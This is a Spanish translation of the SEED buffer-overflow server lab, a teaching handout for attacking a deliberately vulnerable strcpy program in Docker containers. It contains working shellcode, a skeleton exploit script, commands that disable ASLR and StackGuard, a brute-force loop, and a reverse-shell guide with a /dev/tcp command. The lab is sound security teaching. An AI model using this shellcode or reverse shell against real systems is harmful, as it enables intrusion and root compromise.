Laboratorio de Buffer Overflow (Server Version)

Copyright © 2020 by Wenliang Du.
Este trabajo se encuentra bajo licencia Creative Commons. Attribution-NonCommercial-ShareAlike 4.0 International License. Si ud. remezcla, transforma y construye a partir de este material, Este aviso de derechos de autor debe dejarse intacto o reproducirse de una manera que sea razonable para el medio en el que se vuelve a publicar el trabajo.

1 Descripción General

Un Buffer overflow es un tipo de vulnerabilidad que ocurre cuando un programa intenta escribir una cierta cantidad de datos que sobrepasan los límites permitidos de un buffer de memoria. Esta vulnerabilidad puede ser usada por un atacante malicioso para alterar el flujo de control del programa, permitiendo así la ejecución de código malicioso. El objetivo de este laboratorio es poder estudiar este tipo de vulnerabilidad y aprender a explotarla.

Para este laboratorio, los estudiantes tendrán disponibles cuatro servidores diferentes, cada uno de ellos tendrá un programa con una vulnerabilidad del tipo buffer overflow. La tarea será desarrollar un exploit para explotar cada uno de estos programas y así obtener privilegios de root en cada uno de los servidores. A su vez cada uno de los estudiantes podrá experimentar con diferentes tipos de contramedidades que son implementadas para mitigar este tipo de ataques. Los estudiantes necesitarán evaluar en que situaciones sus ataques serán exitosos y en cuales no, así también explicando el porque de este resultado. Este laboratorio cubre los siguientes tópicos:

- Buffer overflow - Ataques y Vulnerabilidad
- Invocación de una función y su Stack Layout
- Address randomization, Non-executable stack, y StackGuard
- Shellcode. Contamos con un laboratorio separado sobre cómo escribir un shellcode desde cero.

Lecturas y Videos. Para una cobertura más detallada en Ataques de Buffer Overflow puede consultar

- Capítulo 4 del Libro de SEED, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. See details at `https://www.handsonsecurity.net`.
- Sección 4 del curso de SEED en Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. See details at `https://www.handsonsecurity.net/video.html`.

Entorno de Laboratorio. Este laboratorio ha sido testeado en nuestra imagen pre-compilada de una VM con Ubuntu 20.04, que puede ser descargada del sitio oficial de SEED. Sin embargo, la mayoría de nuestros laboratorios pueden ser realizados en la nube para esto Ud. puede leer nuestra guía que explica como crear una VM de SEED en la nube.

Nota para los instructores. Los instructores pueden personalizar este laboratorio modificando los valores para `L1`, ..., `L4`. Ver Sección 2.2 para más detalles. Dependiendo del conocimiento de los estudiantes y el tiempo asignado al laboratorio, los instructores también pueden hacer opcionales los Levels 2, 3 y 4. La Tarea del Level 1 es suficiente para cubrir lo básico en cuanto a los ataques buffer overflow. Los Levels del 2 al 4 incrementan la dificultad de estos ataques. Todas las tareas relacionadas a las contramedidas están ligadas a la tarea del Level 1 por lo tanto saltearse los otros niveles no afecta el abordaje de estas tareas.

2 Configuración del Entorno de Laboratorio

Por favor descargue el archivo `Labsetup.zip` dentro de su Máquina Virtual, desde la sección de labs en el sitio oficial de SEED, descomprímalo y dentro del directorio `Labsetup` podrá acceder a todos los archivos necesarios para llevar a cabo el laboratorio.

2.1 Desactivando las Contramedidas

Antes de comenzar el laboratorio, necesitamos asegurarnos que este desactivada la contramedida llamada address randomization; de otra forma haría mucho más difícil el ataque. Puede desactivarla tipeando el siguiente comando:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

2.2 El Programa Vulnerable

El programa vulnerable que vamos a usar para este laboratorio está en el archivo `stack.c`, dentro del directorio `server-code`. Este programa tiene una vulnerabilidad de buffer overflow, su tarea es explotar esta vulnerabilidad y obtener privilegios de root. El código mostrado a continuación contiene información trivial que fue removida del archivo original, pero en esencia es exactamente el mismo código.

Listing 1: `stack.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];

    int length = fread(str, sizeof(char), 517, stdin);
    bof(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
```

```
}
```

El programa mostrado anteriormente tiene una vulnerabilidad de buffer overflow. Este programa lee los datos del standard input y pasa estos datos a un buffer dentro de la función `bof()`. Como podemos observar el tamaño original del buffer de entrada inicial es de `517` bytes, pero el buffer de la función `bof()` tiene un tamaño de `100` bytes, este tamaño es mucho más chico que `517`. Debido a que `strcpy()` no hace un chequeo del tamaño de los datos antes que se copien, se dará una condición de buffer overflow.

Este programa estará corriendo con privilegios de root dentro del servidor, su standard input será redirigido a una conexión TCP entre el servidor y un usuario remoto. Cabe aclarar, que este programa recibe sus datos de un usuario remoto. Si los usuarios pueden explotar esta vulnerabilidad de buffer overflow, podrán obtener una shell de root en el servidor.

Compilación. Para poder compilar el programa vulnerable, necesitamos desactivar la protección StackGuard y non-executable stack, para ello debemos usar las opciones `-fno-stack-protector` y `-z execstack`. A continuación se muestra un ejemplo de como usar gcc para compilar el código vulnerable (La variable de entorno `L1` se usa para setear el valor de la constante `BUF_SIZE`)

```
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

Compilaremos el programa `stack` como un binario de 32-bits y de 64-bits. Nuestra Máquina Virtual con Ubuntu 20.04 es de 64-bit, pero soporta binarios de 32-bits. Todo lo que debemos hacer es usar la opción `-m32` en `gcc`. Debido a que las librerías dinámicas de 32-bits no están instaladas por defecto en los contenedores, deberemos de usar también la opción `-static` para poder generar un binario de 32-bits estáticamente linkeado que no dependa de estas librerías dinámicas.

Los comandos de compilación son provistos dentro del archivo `Makefile`. Para compilar el código, lo único que debe de tipear es `make`. Las variables `L1`, `L2`, `L3`, y `L4` dentro del archivo `Makefile`, serán usadas durante la compilación. Al terminar la compilación, deberemos de copiar el binario en el directorio `bof-containers` de esta forma los contenedores tendrán acceso a estos archivos. A continuación se listan los comandos para realizar la compilación y la copia de los binarios en el directorio de los contenedores.

```
$ make
$ make install
```

Para instructores (personalización). Para que el laboratorio sea ligeramente diferente al que se ofrecía en el pasado, los instructores pueden cambiar el valor de `BUF_SIZE` solicitando que los estudiantes compilen el código del servidor usando diferentes valores de `BUF_SIZE`. Dentro del archivo `Makefile`, el valor de `BUF_SIZE` es seteado en cuatro variables `L1`, ..., `L4`. Los instructores deben elegir los valores para estas variables en función de en las siguientes sugerencias:

- `L1`: elegir un valor entre 100 y 400
- `L2`: elegir un valor entre 100 y 400
- `L3`: elegir un valor entre 100 y 400
- `L4`: elegir un valor entre 20 y 80 Para hacer más difícil la tarea entre los diferentes niveles, es recomendable usar valores pequeños.

El Programa Servidor. Dentro del directorio `server-code`, encontrará un archivo llamado `server.c`. Este es el punto de entrada principal del servidor, este programa estará a la escucha en el puerto `9090`. Cuando este programa recibe una conexión TCP, ejecutará el programa `stack` y establecerá esta conexión

como el standard input del programa `stack`. De esta manera cuando `stack` lea los datos de su `stdin`, estará leyendo los datos que llegan de la conexión TCP (es decir los datos enviados por el usuario remoto). No es necesario que los estudiantes entiendan por completo el código de `server.c`.

2.3 Setup del Contenedor y sus Comandos

Para empezar a preparar el contenedor, deberá descargarse el archivo `Labsetup.zip` ubicado en el laboratorio correspondiente dentro del sitio web oficial y copiarlo dentro de la Máquina Virtual prevista por SEED. Una vez descargado deberá descomprimirlo y entrar dentro del directorio `Labsetup` donde encontrará el archivo `docker-compose.yml` que servirá para setear el entorno de laboratorio. Para una información más detallada sobre el archivo `Dockerfile` y otros archivos relacionados, puede encontrarla dentro del Manual de Usuario del laboratorio en uso, en el sitio web oficial de SEED.

Si esta es su primera experiencia haciendo el setup del laboratorio usando contenedores es recomendable que lea el manual anteriormente mencionado.

A continuación, se muestran los comandos más usados en Docker y Compose. Debido a que estos comandos serán usados con mucha frecuencia, hemos creados un conjunto de alias para los mismos, ubicados en del archivo `.bashrc` dentro de la Máquina Virtual provista por SEED (Ubuntu 20.04)

```
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

// Aliases for the Compose commands above
$ dcbuild       # Alias for: docker-compose build
$ dcup          # Alias for: docker-compose up
$ dcdown        # Alias for: docker-compose down
```

Dado que todos los contenedores estarán corriendo en un segundo plano. Necesitamos correr comandos para interactuar con los mismos, una de las operaciones fundamentales es obtener una shell en el contenedor. Para este propósito usaremos "`docker ps`" para encontrar el ID del contenedor deseado y ingresaremos "`docker exec`" para correr una shell en ese contenedor. Hemos creado un alias para ello dentro del archivo `.bashrc`

```
$ dockps        // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>   // Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

En caso de problemas configurando el entorno, por favor consulte la sección “Common Problems” en el manual ofrecido por SEED.

Nota. Antes de correr "`docker-compose build`" para hacer el build de las imágenes docker, necesitamos compilar y copiar el código del programa servidor dentro del directorio `bof-containers`. Para más instrucciones vea la Sección 2.2.

3 Tarea 1: Shellcode

El objetivo final de los ataques a las vulnerabilidades de buffer overflow es poder inyectar código malicioso dentro del programa vulnerable, para que así sea ejecutado con los privilegios con que ese programa está corriendo en el sistema. La pieza de código más usada para para conducir este tipo de ataque de inyección de código en un ataque es llamada Shellcode. Vamos a adentrarnos un poco en este concepto.

Un Shellcode es una porción de código comúnmente escrito en lenguaje ensamblador y que es típicamente usado para realizar ataques de inyección de código a la hora de explotar determinadas vulnerabilidades. En este laboratorio, sólo ofrecemos un binario genérico de un shellcode, dado que el funcionamiento de un shellcode está fuera del alcance de este laborattorio, no nos adentraremos en los detalles de su mecánica. Si está interesado en saber como funciona un shellcode y quiere escribir un shellcode desde cero, puede consultar nuestro laboratorio *Shellcode Lab*. A continuación se muestra nuestro shellcode genérico de 32-bits:

```
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"                                                    ❶
   "-c*"                                                           ❷
   "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd        *"   ❸
   # The * in this line serves as the position marker         *
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

Este shellcode ejecuta una shell "`/bin/bash`" (Línea ❶) con dos argumentos de entrada que son invocados usando el parámetro "`-c`" (Línea ❷) y su valor que en este caso es una cadena con comandos (Línea ❸). Esto quiere decir que la shell correrá una determinada cantidad de comandos como segundo argumento. El `*` al final de la cadena es un placeholder y será reemplazado por el byte `0x00` durante la ejecución del shellcode. Esto se debe a que cada cadena necesita terminar con un cero, pero dado que en un shellcode no podemos poner ceros, ponemos un placeholder al final de cada una de ellas, y a la hora de su ejecución reemplazaremos ese placeholder por un cero.

Para modificar el comando que se va a ejecutar en el shellcode, solamente tenemos que cambiar la cadena ubicada en la línea ❸. Debe tener en cuenta que al hacer este tipo de cambio, se debe preservar la longitud de la cadena original, esto se debe a que el marcador de la posición inicial osea el placeholder (*) para el arreglo `argv[]` se encuentra hardcodeado en el binario generado por el shelllcode. Si la longitud de esta cadena se modifica, necesitaremos modificar el binario para mantener la posición del marcador representado por un asterisco al final de la cadena, agregando o borrando espacios en blanco.

Ud. puede encontrar el shellcode genérico en el directorio `shellcode`. Dentro de esta podrá observar dos scripts en python, `shellcode_32.py` y `shellcode_64.py`. Uno para 32-bits y otro para 64-bits. Estos scripts se encargarán de generar el binario del shellcode dentro de los archivos `codefile_32` y `codefile_64`. También puede usar el archivo `call_shellcode` para ejecutar el shellcode.

```
// Generate the shellcode binary
$ ./shellcode_32.py    → generate codefile_32
$ ./shellcode_64.py    → generate codefile_64

// Compile call_shellcode.c
$ make                 → generate a32.out and a64.out

// Test the shellcode
$ a32.out              → execute the shellcode in codefile_32
$ a64.out              → execute the shellcode in codefile_64
```

Tarea. Por favor modifique el shellcode, de tal forma que se pueda usar para borrar un archivo. Incluya la versión modificada del shellcode en el informe del laboratorio y los screenshots correspondientes.

4 Tarea 1: Ataque Level-1

Al levantar nuestros contenedores seteados en el archivo `docker-compose.yml`, tendremos cuatro contenedores corriendo, cada uno representa un nivel de dificultad diferente. En esta tarea trabajaremos sobre el contenedor del Level-1.

4.1 Servidor

Nuestro primer target corre en la ip `10.9.0.5` (puerto `9090`), y el programa vulnerable es un binario de 32-bits llamado `stack`. Primero procederemos a enviar un mensaje inocuo (a modo de prueba) hacia el servidor. Una vez hecho esto podremos observar en el contenedor target los siguientes mensajes (esto puede variar levemente)

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffdb88    ☆
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffdb18    ☆
server-1-10.9.0.5 | ==== Returned Properly ====
```

El servidor podrá aceptar un flujo de datos superior a `517` bytes, esto causará un buffer overflow. Su tarea es construir un payload para explotar esta vulnerabilidad. Si ud. salva este payload dentro de un archivo, puede enviarlo al servidor de la siguiente manera.

```
$ cat <file> | nc 10.9.0.5 9090
```

Si el servidor no se ve afectado por el ataque mostrará el mensaje `"Returned Properly"`, de lo contrario este mensaje no será mostrado y se podrá asumir que el programa `stack` fue afectado por el ataque. En ambos casos el servidor seguirá corriendo a la espera de nuevas conexiones.

Para esta tarea, hay dos piezas fundamentales a tener en cuenta a la hora de explotar de una vulnerabilidad de buffer ooverflow, estás piezas son parte del mensaje que imprime el servidor. Estas son el valor

del frame pointer y la dirección de memoria del buffer (buffer address) (Marcador ☆). El registro del frame pointer es llamado `ebp` en arquitecturas x86 y `rbp` en arquitecturas x64. Ud. puede utilizar ambos elementos para construir el payload de ataque.

Agregando Aleatoriedad. Para que la dirección del buffer y su frame pointer no sean siempre los mismos para cada uno de los estudiantes que realizan el laboratorio, hemos agregado un poco de aleatoriedad al programa vulnerable. Estos valores cambiarán cada vez que se el contenedor se reinicie, mientras el contenedor este corriendo los valores permanecerán iguales. Esta aleatoriedad es solamente para hacer el trabajo de los estudiantes un tanto diferente y no debe confundirse con address-randomization.

4.2 Escribiendo el Exploit y Lanzando el Ataque

Para explotar la vulnerabilidad de buffer overflow en el programa target, vamos a necesitar preparar un payload y salvarlo dentro de un archivo (en este documento usaremos el nombre de archivo `badfile`). Usaremos un script en Python para la generación de este archivo. Hemos provisto un script genérico en Python (ubicado en el directorio de nuestro laboratorio) llamado `exploit.py`. Este código está incompleto y será necesario que los estudiantes completen determinados valores dentro de este para llevar a cabo un ataque exitoso.

Listing 2: The skeleton exploit code (`exploit.py`)

```
#!/usr/bin/python3
import sys

# You can copy and paste the shellcode from Task 1
shellcode = (
  ""                   # ☆ Necesita completarse ☆
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start =  0               # ☆ Necesita completarse ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and save it somewhere in the payload
ret    = 0xAABBCCDD      # ☆ Necesita completarse ☆
offset = 0               # ☆ Necesita completarse ☆

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Al terminar de completar el programa anterior, debe correrlo. Esto generará el contenido para el archivo `badfile`. Una vez generado debe ser enviado al servidor vulnerable. Si el exploit es implementado de

manera correcta, el código del shellcode será ejecutado. Si el comando usado genera algún output este será mostrado en dentro de los mensajes del contenedor. Por favor incluya las pruebas que muestren que su servidor vulnerable ha sido capaz de correr los siguientes comandos.

```
$./exploit.py   // create the badfile
$ cat badfile | nc 10.9.0.5 9090
```

Shell Reversa. Dado que estamos haciendo un ataque a un servidor remoto desde nuestra máquina local, no nos servirá de mucho correr `/bin/sh` en el servidor vulnerable, ya que será ejecutado de forma local y no podremos tener el control sobre esta shell desde nuestro lado. Una de las técnicas más comúnes para lograr control sobre un servidor a través shell de forma remota es la Shell Reversa. En la Sección 10 se explica como correr una shell reversa. Ud. deberá de modificar la cadena de comandos en el shellcode, para poder obtener una shell reversa en el servidor vulnerable. Por favor incluya las explicaciones pertinentes junto con los screenshots de este procedimiento en el informe del laboratorio.

5 Tarea 3: Ataque Level-2

Para esta Tarea, vamos a agregar un poco más de dificultad al ataque, y evitaremos mostrar una parte de esa pieza fundamental de información que nos sirve para explotar el programa. Nuestro servidor target será `10.9.0.6` (el puerto seguirá siendo el `9090`, y el programa vulnerable será de 32-bits). Primero procederemos a enviar un mensaje inocuo (a modo de prueba) hacia el servidor. Una vez hecho esto podremos observar en el contenedor target los siguientes mensajes.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C

// Messages printed out by the container
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffda3c
server-2-10.9.0.6 | ==== Returned Properly ====
```

Como se puede observar, el servidor solamente está mostrando la dirección de memoria del buffer y no el valor del frame pointer. Esto quiere decir que para ud. el tamaño del buffer es desconocido, haciendo el ataque más difícil que el del Level 1. A pesar que el tamaño actual del buffer se encuentra en el archivo `Makefile`, no se permite usar esa información para elaborar el ataque, esto es porque en un escenario real de explotación, este tipo de información no estará disponible. Para simplificar la tarea, hemos asumido que el rango del tamaño del buffer está comprendido entre 100 y 300, como se indica abajo. Otro dato que le puede ser de utilidad es que debido a como funciona el alineamiento en memoria o memory aligment, todo los valores guardados en el frame pointer son múltiplos de cuatro (para programas de 32-bits)

```
Range of the buffer size (in bytes): [100, 300]
```

Su tarea es generar un payload para explotar la vulnerabilidad de buffer overflow en el servidor y obtener una root shell en este (usando la técnica de shell reversa). Cabe aclarar que el payload a generar debe de funcionar para cualquiera de los tamaños del buffer anteriormente establecidos. Ud. no obtendrá créditos si lo hace a través de un método de fuerza bruta. Mientras más intente, más fácil será detectar el ataque y

mitigarlo por parte de la víctima. Es por eso que es crucial minimizar la cantidad de intentos en el ataque. En el informe del laboratorio deberá describir el método que se uso y mostrar las evidencias del ataque.

6 Tarea 4: Ataque Level-3

En las tareas anteriores se trabajo con un binario vulnerable de 32-bits. En esta tarea lo haremos con uno de 64-bits, nuestro servidor vulnerable estará en la IP `10.9.0.7` y correra el binario del programa `stack` de 64-bits. Primero enviaremos un mensaje de hello al servidor. Una vez hecho esto podremos observar en el contenedor target los siguientes mensajes.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.7 9090
Ctrl+C

// Messages printed out by the container
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe1b0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe070
server-3-10.9.0.7 | ==== Returned Properly ====
```

Como se puede observar, los valores del frame pointer y la dirección del buffer son de 8 bytes de longitud (en vez de 4 bytes como lo es en un programa de 32-bits) Su tarea es generar un payload para explotar la vulnerabilidad de buffer overflow de este servidor. El objetivo final será obtener una root shell en el servidor vulnerable. Puede usar el shellcode de la Tarea 1 pero necesitará usar la versión de 64-bits de este shellcode.

Desafíos. En comparación con una máquina de 32-bits los ataques de buffer overflow son más difíciles en una de 64-bits. La parte más compleja son las direcciones de memoria. Debido a que el espacio de direcciones permitido va de `0x00` a `0x00007FFFFFFFFFFF`, tendremos por cada dirección de memoria de 8 bytes, 2 bytes que serán ceros. Esto será un problema a la hora de construir nuestro payload.

En nuestros ataques de buffer overflow, necesitamos guardar al menos una dirección de memoria en el payload, este será copiado en el stack usando la función `strcpy()`. Sabemos que la función `strcpy()` dejará de copiar datos al encontrarse con un valor cero. Por lo tanto, si un cero aparece en el medio del payload, los datos que siguen después de este no serán copiados. Resolver esta cuestión es uno de los desafíos más difíciles. En su informe del laboratorio, deberá describir como resolver este problema.

7 Tarea 5: Ataque Level-4

El programa del servidor en esta tarea es similar al del Level 3, con la exepción que el tamaño del buffer es mucho más chico. En los mensajes que se muestran a continuación, se podrá observar que la distancia entre el frame pointer y la dirección de memoria del buffer es de solamente 32 bytes aproximadamente (la distancia puede variar levemente). En el Level 3, la distancia entre ambos era mucho más grande. Su objetivo es el mismo: obtener una root shell en el servidor vulnerable. El servidor sigue aceptando 512 bytes como tamaño total de los datos entrada.

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
```

```
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe1b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe190
server-4-10.9.0.8 | ==== Returned Properly ====
```

8 Tarea 6: Experimentando con Address Randomization

Al comienzo del laboratorio, hemos desactivado una de las contramedidas, el Address Space Layout Randomization (ASLR). En esta tarea, la activaremos y veremos como afecta al ataque. Para activarla puede correr el siguiente comando en la Máquina Virtual. Este cambio es global y afectará a los contenedores que se encuentren corriendo dentro de la Máquina Virtual.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

A continuación envie varias veces un mensaje de `hello` a los servidores del Level 1 y Level 3. En el informe del laboratorio, escriba sus observaciones y explique porque ASLR hace mucho más difícil explotar una vulnerabilidad de buffer overflow.

Evadiendo 32-bits randomization. Es sabido que en máquinas linux de 32-bits, sólo 19 bits pueden ser usados para hacer address randomization. Eso no es lo suficientemente robusto y podemos evadir esta protección corriendo el ataque un número determinado de veces hasta lograr una explotación exitosa. Por otro lado en máquinas de 64-bits, el número de bits usado para esta protección fue incrementado de forma significativa.

En esta Tarea, intentaremos evadir esta protección en el servidor de 32-bits del Level 1. Nos serviremos del método de fuerza bruta para atacar el servidor repetidamente, con la intención de poder acertar la dirección de memoria que colocaremos en nuestro payload. Usaremos el payload de ataque del Level 1. Puede utilizar el script bash dado a continuación, este script correrá el ataque dentro de un loop infinito. Si el ataque es exitoso y se obtiene una shell reversa, el script detendrá su ejecución, de lo contrario seguirá corriendo. Si tiene suerte, debería obtener una shell reversa a los 10 minutos de lanzado el ataque.

```
#!/bin/bash

SECONDS=0
value=0
while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  cat badfile | nc 10.9.0.5 9090
done
```

9 Tarea 7: Experimentando con otras Contramedidas

9.1 Tarea 7.a: Activando StackGuard

Muchos compiladores como `gcc` implementan un mecanismo de seguridad llamado *StackGuard* esta protección está destinada a prevenir ataques a programas con vulnerabilidades de buffer overflow. Los programas vulnerables que hemos estado usando tienen esta protección desactivada. En esta tarea, la activaremos para ver que es lo que pasa.

Para activar esta protección entre en el directorio `server-code` y borre el parámetro `-fno-stack-protector` en la constante `FLAGS` del archivo `Makefile` y proceda a compilar nuevamente el archivo `stack.c`. Usaremos solamente `stack-L1`, pero en vez de correrlo en el contenedor, lo haremos desde la consola de comandos. Primero crearemos el archivo que va a provocar el buffer overflow (`badfile`) y a continuación haremos que el archivo `stack-L1` reciba su contenido. Por favor comente y explique sus observaciones en el informe del laboratorio.

```
$ ./stack-L1 < badfile
```

9.2 Tarea 7.b: Activando la Protección Non-executable Stack

Los sistemas operativos solían permitir ejecución de código en el stack, pero esto ha cambiado: En Ubuntu los binarios de los programas (y las librerías compartidas) deben de indicar si necesitan o no poder ejecutar código en el stack, es decir necesitan marcar un campo específico dentro del encabezado del programa que permite que esto sea posible o no. El kernel o mejor dicho el dynamic linker usan esta marca para permitir que el stack del programa pueda ejecutar o no código. Para setear esta marca a la hora de generar el binario ejecutable usando `gcc`, se usan dos flags que indican que se puede ejecutar código en el stack `"-z execstack"` o `"-z noexecstack"` que indica lo contrario.

En esta tarea, haremos que el stack no pueda ejecutar código, activando la protección non-executable. Para esto nos situaremos dentro del directorio `shellcode` y dentro del archivo `call_shellcode` pondremos una copia de nuestro shellcode y ejecutaremos este código desde el stack. Para ello se debe recompilar el archivo `call_shellcode.c` sin usar el parámetro `"-z execstack"`, genere los archivos `a32.out` y `a64.out`, proceda a correrlos desde la línea comandos. Por favor comente y explique sus observaciones en el informe del laboratorio.

Evadiendo non-executable stack Cabe aclarar que esta protección hace imposible ejecutar el shellcode en el stack pero no impide ataques de buffer overflow, ya que existen otras formas de correr código malicioso después de explotar este tipo de vulnerabilidad. Una técnica para lograr esto es la llamada *return-to-libc*, este tipo de ataque está fuera del alcance de este laboratorio. Sin embargo hemos hecho un laboratorio dedicado especialmente a este ataque, lo puede encontrar en nuestro sitio oficial de SEED.

10 Guía de Shell Reversa

La idea principal de una shell reversa es poder redirigir los dispositivos de standard input, output y error hacia una conexión de red, pudiendo así enviar y recibir información a través de este canal por la shell. En la otra punta de la conexión estará la máquina del atacante corriendo un programa mostrando lo que venga de la shell del otro lado de la conexión, al mismo tiempo este programa enviará lo que el atacante escriba usando la misma conexión de red.

Uno de los programas más usados por los atacantes para este propósito es `netcat`, si se corre con el parámetro `"-l"`, este se pondrá a la escucha de un puerto TCP en un puerto específico, convirtiéndose en un servidor TCP. Este servidor bastante simple hecho con netcat, mostrará lo que sea enviado por parte de un cliente y enviará lo que el usuario corriendo el servidor escriba. En el siguiente experimento usaremos `netcat` para ponernos a la escucha en el puerto TCP `9090` simulando ser un servidor TCP.

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

El comando `nc` mostrado arriba, se pondrá a la escucha en el puerto TCP 9090 y se bloqueará en espera de nuevas conexiones. A continuación con el fin de emular lo que haría un atacante después de comprometer el servidor por medio del ataque de Shellshock, debemos de correr el programa bash mostrado más abajo en el servidor cuya dirección IP es (`10.0.2.5`). Este programa lanzará una conexión TCP en el puerto 9090 hacia la máquina del atacante, otorgándole así una shell reversa. Podremos observar el prompt shell que nos indica que la shell está corriendo en el servidor; podemos usar el comando `ifconfig` para verificar que la dirección IP es la correcta (`10.0.2.5`) y que es la que pertenece a la máquina que hostea el servidor. A continuación se muestra la sentencia de bash que debe ser ejecutada:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

Este comando normalmente es ejecutado por un atacante en un servidor comprometido. Debido a que esta línea es un tanto engorrosa, en los siguientes parráfos darémos una explicación detallada de su funcionamiento.

- `"/bin/bash -i"`: El parámetro `i` es quiere decir que la shell será una shell interactiva, esto significa que nos permitirá interactuar para enviar y recibir información usando la shell.
- `"> /dev/tcp/10.0.2.6/9090"`: Esto hace que el (`stdout`) (standard output) de la shell sea redirigido hacia la conexión TCP establecida con la IP del atacante `10.0.2.6` en el puerto `stdout` es el `9090`. En sistemas `Unix`, el número del descriptor de archivo (file descriptor) del `stdout` es el `1`
- `"0<&1"`: El descriptor de archivo (file descriptor) cuyo número es `0` representa el standard input (`stdin`). Esta opción le indica al sistema que use el standard output como standard input. Dado que el `stdout` está siendo redirigido hacia una conexión TCP, esta opción le indica al programa shell que obtendrá su entrada usando la misma conexión.
- `"2>&1"`: El descriptor de archivo (file descriptor) cuyo número es cuyo número es `2` representa el standard error `stderr`. Esto hace que cualquier error que pueda ocurrir sea redirigido al `stdout` que es la conexión TCP.

Para concluir, el comando `"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1"` ejecuta una shell `bash` en la máquina del servidor cuyo input viene de una conexión TCP y su output sale por la misma conexión TCP. En nuestro experimento al ejecutar la shell `bash` en el servidor `10.0.2.5`

este establecerá una conexión reversa hacia `10.0.2.6`. Esto puede ser verificado por medio del mensaje `"Connection from 10.0.2.5 ..."` mostrado en `netcat`.

11 Informe del Laboratorio

Debe enviar un informe de laboratorio detallado, con capturas de pantalla, para describir lo que ha hecho y lo que ha observado. También debe proporcionar una explicación a las observaciones que sean interesantes o sorprendentes. Enumere también los fragmentos de código más importantes seguidos de una explicación. No recibirán créditos aquellos fragmentos de códigos que no sean explicados.

Agradecimientos

Este documento ha sido traducido al Español por Facundo Fontana